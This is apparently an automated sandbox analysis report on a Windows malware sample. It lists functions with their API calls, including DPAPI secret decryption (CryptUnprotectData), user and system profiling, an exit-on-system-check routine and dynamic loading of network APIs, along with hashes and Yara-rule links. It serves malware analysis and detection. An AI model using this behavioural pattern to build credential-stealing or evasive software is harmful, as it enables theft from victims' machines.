Instruction Fuzzy Hash: E6010075A10208ABDB25DFA5DD48BDDBBF8EB4C704F004198A54AD7280DB349B40CF50

Function 01007A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0087F398,00000000,?,01010E10,00000000,?,00000000,00000000), ref: 01007A63
RtlAllocateHeap.NTDLL(00000000), ref: 01007A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0087F398,00000000,?,01010E10,00000000,?,00000000,00000000,?), ref: 01007A7D
wsprintfA.USER32 ref: 01007AB7

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 5999ff9b2aa3972ee61f2ee0dcc9194565575f74eb27b867051d547420639eea
Instruction ID: be244539f063034195fdad73371ee362fb1b0e22f720faee00764ddf0dea6477
Opcode Fuzzy Hash: 5999ff9b2aa3972ee61f2ee0dcc9194565575f74eb27b867051d547420639eea
Instruction Fuzzy Hash: 38118EB1945218EBEB208B94DC49FA9B7B8FB44721F0043AAE94A932C0C7781A84CF50

Function 00FF9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00FF9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00FF9BA3
LocalFree.KERNEL32(?), ref: 00FF9BD3

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 71153e5b034fcf4ebbf9d05ec959bead6e96526a78c2ee5b8ab84610884a2a0f
Instruction ID: ca7fbdd2b44a03a599f64bfd990a351dae2d861c86e5582562594c3b4604cd89
Opcode Fuzzy Hash: 71153e5b034fcf4ebbf9d05ec959bead6e96526a78c2ee5b8ab84610884a2a0f
Instruction Fuzzy Hash: 0F11C9B8A00209EFDB04DF94D989AAEB7B5FF88301F1045A8E915A7354D774AE10CFA1

Function 01007850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FF11B7), ref: 01007880
RtlAllocateHeap.NTDLL(00000000), ref: 01007887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0100789F

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: e5dbef57d0068d093414532fd6c0ac36a25324f12e47e0f912bd8ddae78b2aa3
Instruction ID: f4b7799cf2de66235715ce9fe44ee5e054a054ee50c7489c683480c2e10f8334
Opcode Fuzzy Hash: e5dbef57d0068d093414532fd6c0ac36a25324f12e47e0f912bd8ddae78b2aa3
Instruction Fuzzy Hash: 76F04FB1944208EBD714DFD9D949BAEFBB8EB04721F10026AFA45E3680C77815048BA1

Function 00FF1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00FF116A
ExitProcess.KERNEL32 ref: 00FF117E

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 340cec86ee11992f609fd50682c334543b8eb6182568feeb9111df1b11409f29
Instruction ID: 75e2c38c1a4ebb43862d42e0ffdab99478c7aee38064e652801065dc0b7e1498
Opcode Fuzzy Hash: 340cec86ee11992f609fd50682c334543b8eb6182568feeb9111df1b11409f29
Instruction Fuzzy Hash: 48D05E7490030CDBCB14DFE0E88D6EDBB78FB08321F000564D906A3340EA315491CBA5

Function 01009C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00864FA0), ref: 01009C2D
GetProcAddress.KERNEL32(75900000,00864EA0), ref: 01009C45
GetProcAddress.KERNEL32(75900000,0087B060), ref: 01009C5E
GetProcAddress.KERNEL32(75900000,0087B090), ref: 01009C76
GetProcAddress.KERNEL32(75900000,0087B048), ref: 01009C8E
GetProcAddress.KERNEL32(75900000,0087B168), ref: 01009CA7
GetProcAddress.KERNEL32(75900000,0086B700), ref: 01009CBF
GetProcAddress.KERNEL32(75900000,0087B0A8), ref: 01009CD7
GetProcAddress.KERNEL32(75900000,0087B0C0), ref: 01009CF0
GetProcAddress.KERNEL32(75900000,0087B150), ref: 01009D08
GetProcAddress.KERNEL32(75900000,0087B1B0), ref: 01009D20
GetProcAddress.KERNEL32(75900000,00865020), ref: 01009D39
GetProcAddress.KERNEL32(75900000,008650A0), ref: 01009D51
GetProcAddress.KERNEL32(75900000,00864FC0), ref: 01009D69
GetProcAddress.KERNEL32(75900000,008650E0), ref: 01009D82
GetProcAddress.KERNEL32(75900000,0087B000), ref: 01009D9A
GetProcAddress.KERNEL32(75900000,0087AFE8), ref: 01009DB2
GetProcAddress.KERNEL32(75900000,0086BA98), ref: 01009DCB
GetProcAddress.KERNEL32(75900000,00864E00), ref: 01009DE3
GetProcAddress.KERNEL32(75900000,0087B018), ref: 01009DFB
GetProcAddress.KERNEL32(75900000,0087B030), ref: 01009E14
GetProcAddress.KERNEL32(75900000,0087B4F0), ref: 01009E2C
GetProcAddress.KERNEL32(75900000,0087B4A8), ref: 01009E44
GetProcAddress.KERNEL32(75900000,00864EE0), ref: 01009E5D
GetProcAddress.KERNEL32(75900000,0087B448), ref: 01009E75
GetProcAddress.KERNEL32(75900000,0087B520), ref: 01009E8D
GetProcAddress.KERNEL32(75900000,0087B4C0), ref: 01009EA6
GetProcAddress.KERNEL32(75900000,0087B418), ref: 01009EBE
GetProcAddress.KERNEL32(75900000,0087B550), ref: 01009ED6
GetProcAddress.KERNEL32(75900000,0087B508), ref: 01009EEF
GetProcAddress.KERNEL32(75900000,0087B538), ref: 01009F07
GetProcAddress.KERNEL32(75900000,0087B5E0), ref: 01009F1F
GetProcAddress.KERNEL32(75900000,0087B568), ref: 01009F38
GetProcAddress.KERNEL32(75900000,0087BB90), ref: 01009F50
GetProcAddress.KERNEL32(75900000,0087B430), ref: 01009F68
GetProcAddress.KERNEL32(75900000,0087B4D8), ref: 01009F81
GetProcAddress.KERNEL32(75900000,00864FE0), ref: 01009F99
GetProcAddress.KERNEL32(75900000,0087B5B0), ref: 01009FB1
GetProcAddress.KERNEL32(75900000,00864E40), ref: 01009FCA
GetProcAddress.KERNEL32(75900000,0087B490), ref: 01009FE2
GetProcAddress.KERNEL32(75900000,0087B580), ref: 01009FFA
GetProcAddress.KERNEL32(75900000,00865160), ref: 0100A013
GetProcAddress.KERNEL32(75900000,00864E20), ref: 0100A02B
LoadLibraryA.KERNEL32(0087B598,?,01005CA3,01010AEB,?,?,?,?,?,?,?,?,?,?,01010AEA,01010AE3), ref: 0100A03D
LoadLibraryA.KERNEL32(0087B460,?,01005CA3,01010AEB,?,?,?,?,?,?,?,?,?,?,01010AEA,01010AE3), ref: 0100A04E
LoadLibraryA.KERNEL32(0087B5C8,?,01005CA3,01010AEB,?,?,?,?,?,?,?,?,?,?,01010AEA,01010AE3), ref: 0100A060
LoadLibraryA.KERNEL32(0087B478,?,01005CA3,01010AEB,?,?,?,?,?,?,?,?,?,?,01010AEA,01010AE3), ref: 0100A072
LoadLibraryA.KERNEL32(0087E538,?,01005CA3,01010AEB,?,?,?,?,?,?,?,?,?,?,01010AEA,01010AE3), ref: 0100A083
LoadLibraryA.KERNEL32(0087E580,?,01005CA3,01010AEB,?,?,?,?,?,?,?,?,?,?,01010AEA,01010AE3), ref: 0100A095
LoadLibraryA.KERNEL32(0087E550,?,01005CA3,01010AEB,?,?,?,?,?,?,?,?,?,?,01010AEA,01010AE3), ref: 0100A0A7
LoadLibraryA.KERNEL32(0087E5E0,?,01005CA3,01010AEB,?,?,?,?,?,?,?,?,?,?,01010AEA,01010AE3), ref: 0100A0B8
GetProcAddress.KERNEL32(75FD0000,00865340), ref: 0100A0DA
GetProcAddress.KERNEL32(75FD0000,0087E490), ref: 0100A0F2
GetProcAddress.KERNEL32(75FD0000,0087A660), ref: 0100A10A
GetProcAddress.KERNEL32(75FD0000,0087E4A8), ref: 0100A123
GetProcAddress.KERNEL32(75FD0000,00865420), ref: 0100A13B
GetProcAddress.KERNEL32(6FD30000,0086B9D0), ref: 0100A160
GetProcAddress.KERNEL32(6FD30000,00865380), ref: 0100A179
GetProcAddress.KERNEL32(6FD30000,0086BB38), ref: 0100A191
GetProcAddress.KERNEL32(6FD30000,0087E4D8), ref: 0100A1A9
GetProcAddress.KERNEL32(6FD30000,0087E4C0), ref: 0100A1C2
GetProcAddress.KERNEL32(6FD30000,008654E0), ref: 0100A1DA
GetProcAddress.KERNEL32(6FD30000,00865540), ref: 0100A1F2
GetProcAddress.KERNEL32(6FD30000,0087E520), ref: 0100A20B
GetProcAddress.KERNEL32(763B0000,00865500), ref: 0100A22C
GetProcAddress.KERNEL32(763B0000,008652E0), ref: 0100A244
GetProcAddress.KERNEL32(763B0000,0087E610), ref: 0100A25D
GetProcAddress.KERNEL32(763B0000,0087E5F8), ref: 0100A275
GetProcAddress.KERNEL32(763B0000,008653E0), ref: 0100A28D
GetProcAddress.KERNEL32(750F0000,0086BAE8), ref: 0100A2B3
GetProcAddress.KERNEL32(750F0000,0086BBB0), ref: 0100A2CB
GetProcAddress.KERNEL32(750F0000,0087E4F0), ref: 0100A2E3
GetProcAddress.KERNEL32(750F0000,00865200), ref: 0100A2FC
GetProcAddress.KERNEL32(750F0000,008654A0), ref: 0100A314
GetProcAddress.KERNEL32(750F0000,0086BB60), ref: 0100A32C
GetProcAddress.KERNEL32(75A50000,0087E568), ref: 0100A352
GetProcAddress.KERNEL32(75A50000,008651A0), ref: 0100A36A
GetProcAddress.KERNEL32(75A50000,0087A5A0), ref: 0100A382
GetProcAddress.KERNEL32(75A50000,0087E508), ref: 0100A39B
GetProcAddress.KERNEL32(75A50000,0087E628), ref: 0100A3B3
GetProcAddress.KERNEL32(75A50000,008654C0), ref: 0100A3CB
GetProcAddress.KERNEL32(75A50000,00865460), ref: 0100A3E4
GetProcAddress.KERNEL32(75A50000,0087E5C8), ref: 0100A3FC
GetProcAddress.KERNEL32(75A50000,0087E598), ref: 0100A414
GetProcAddress.KERNEL32(75070000,00865520), ref: 0100A436
GetProcAddress.KERNEL32(75070000,0087E5B0), ref: 0100A44E
GetProcAddress.KERNEL32(75070000,0087E640), ref: 0100A466
GetProcAddress.KERNEL32(75070000,0087E478), ref: 0100A47F
GetProcAddress.KERNEL32(75070000,0087E800), ref: 0100A497
GetProcAddress.KERNEL32(74E50000,008653A0), ref: 0100A4B8
GetProcAddress.KERNEL32(74E50000,00865240), ref: 0100A4D1
GetProcAddress.KERNEL32(75320000,00865280), ref: 0100A4F2
GetProcAddress.KERNEL32(75320000,0087E728), ref: 0100A50A
GetProcAddress.KERNEL32(6F060000,00865300), ref: 0100A530
GetProcAddress.KERNEL32(6F060000,008652A0), ref: 0100A548
GetProcAddress.KERNEL32(6F060000,00865260), ref: 0100A560
GetProcAddress.KERNEL32(6F060000,0087E770), ref: 0100A579
GetProcAddress.KERNEL32(6F060000,00865220), ref: 0100A591
GetProcAddress.KERNEL32(6F060000,008653C0), ref: 0100A5A9
GetProcAddress.KERNEL32(6F060000,00865360), ref: 0100A5C2
GetProcAddress.KERNEL32(6F060000,008652C0), ref: 0100A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 0100A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 0100A607
GetProcAddress.KERNEL32(74E00000,0087E818), ref: 0100A629
GetProcAddress.KERNEL32(74E00000,0087A560), ref: 0100A641
GetProcAddress.KERNEL32(74E00000,0087E6C8), ref: 0100A659
GetProcAddress.KERNEL32(74E00000,0087E7A0), ref: 0100A672
GetProcAddress.KERNEL32(74DF0000,008651C0), ref: 0100A693
GetProcAddress.KERNEL32(6F990000,0087E740), ref: 0100A6B4
GetProcAddress.KERNEL32(6F990000,008651E0), ref: 0100A6CD
GetProcAddress.KERNEL32(6F990000,0087E698), ref: 0100A6E5
GetProcAddress.KERNEL32(6F990000,0087E7E8), ref: 0100A6FD

Strings

InternetSetOptionA, xrefs: 0100A5E5
HttpQueryInfoA, xrefs: 0100A5FC

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: d20b841e3ad0f8031ae4af4358d74b2f8cec80857a46497c4158f68b6372b2f9
Instruction ID: 2f292149a59c23e1da8088875c000e3ef5e1a6eb6c3e79568e345f2aea2fde62
Opcode Fuzzy Hash: d20b841e3ad0f8031ae4af4358d74b2f8cec80857a46497c4158f68b6372b2f9
Instruction Fuzzy Hash: 67624CB5605200AFD36ADFA8F98CD6A3BF9F79C701314853AA68AC724CD7399441DF50

Function 00FF7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00FF7724
RtlAllocateHeap.NTDLL(00000000), ref: 00FF772B
lstrcat.KERNEL32(?,0087F6F8), ref: 00FF78DB
lstrcat.KERNEL32(?,?), ref: 00FF78EF
lstrcat.KERNEL32(?,?), ref: 00FF7903
lstrcat.KERNEL32(?,?), ref: 00FF7917
lstrcat.KERNEL32(?,0087F668), ref: 00FF792B
lstrcat.KERNEL32(?,0087F6B0), ref: 00FF793F
lstrcat.KERNEL32(?,0087F6C8), ref: 00FF7952
lstrcat.KERNEL32(?,0087F6E0), ref: 00FF7966
lstrcat.KERNEL32(?,008684D0), ref: 00FF797A
lstrcat.KERNEL32(?,?), ref: 00FF798E
lstrcat.KERNEL32(?,?), ref: 00FF79A2
lstrcat.KERNEL32(?,?), ref: 00FF79B6
lstrcat.KERNEL32(?,0087F668), ref: 00FF79C9
lstrcat.KERNEL32(?,0087F6B0), ref: 00FF79DD
lstrcat.KERNEL32(?,0087F6C8), ref: 00FF79F1
lstrcat.KERNEL32(?,0087F6E0), ref: 00FF7A04
lstrcat.KERNEL32(?,00868128), ref: 00FF7A18
lstrcat.KERNEL32(?,?), ref: 00FF7A2C
lstrcat.KERNEL32(?,?), ref: 00FF7A40
lstrcat.KERNEL32(?,?), ref: 00FF7A54
lstrcat.KERNEL32(?,0087F668), ref: 00FF7A68
lstrcat.KERNEL32(?,0087F6B0), ref: 00FF7A7B
lstrcat.KERNEL32(?,0087F6C8), ref: 00FF7A8F
lstrcat.KERNEL32(?,0087F6E0), ref: 00FF7AA3
lstrcat.KERNEL32(?,00868740), ref: 00FF7AB6
lstrcat.KERNEL32(?,?), ref: 00FF7ACA
lstrcat.KERNEL32(?,?), ref: 00FF7ADE
lstrcat.KERNEL32(?,?), ref: 00FF7AF2
lstrcat.KERNEL32(?,0087F668), ref: 00FF7B06
lstrcat.KERNEL32(?,0087F6B0), ref: 00FF7B1A
lstrcat.KERNEL32(?,0087F6C8), ref: 00FF7B2D
lstrcat.KERNEL32(?,0087F6E0), ref: 00FF7B41
lstrcat.KERNEL32(?,00868538), ref: 00FF7B55
lstrcat.KERNEL32(?,?), ref: 00FF7B69
lstrcat.KERNEL32(?,?), ref: 00FF7B7D
lstrcat.KERNEL32(?,?), ref: 00FF7B91
lstrcat.KERNEL32(?,0087F668), ref: 00FF7BA4
lstrcat.KERNEL32(?,0087F6B0), ref: 00FF7BB8
lstrcat.KERNEL32(?,0087F6C8), ref: 00FF7BCC
lstrcat.KERNEL32(?,0087F6E0), ref: 00FF7BDF
lstrcat.KERNEL32(?,008685A0), ref: 00FF7BF3
lstrcat.KERNEL32(?,?), ref: 00FF7C07
lstrcat.KERNEL32(?,?), ref: 00FF7C1B
lstrcat.KERNEL32(?,?), ref: 00FF7C2F
lstrcat.KERNEL32(?,0087F668), ref: 00FF7C43
lstrcat.KERNEL32(?,0087F6B0), ref: 00FF7C56
lstrcat.KERNEL32(?,0087F6C8), ref: 00FF7C6A
lstrcat.KERNEL32(?,0087F6E0), ref: 00FF7C7E

Part of subcall function 00FF75D0: lstrcat.KERNEL32(35689020,010117FC), ref: 00FF7606
Part of subcall function 00FF75D0: lstrcat.KERNEL32(35689020,00000000), ref: 00FF7648
Part of subcall function 00FF75D0: lstrcat.KERNEL32(35689020, : ), ref: 00FF765A
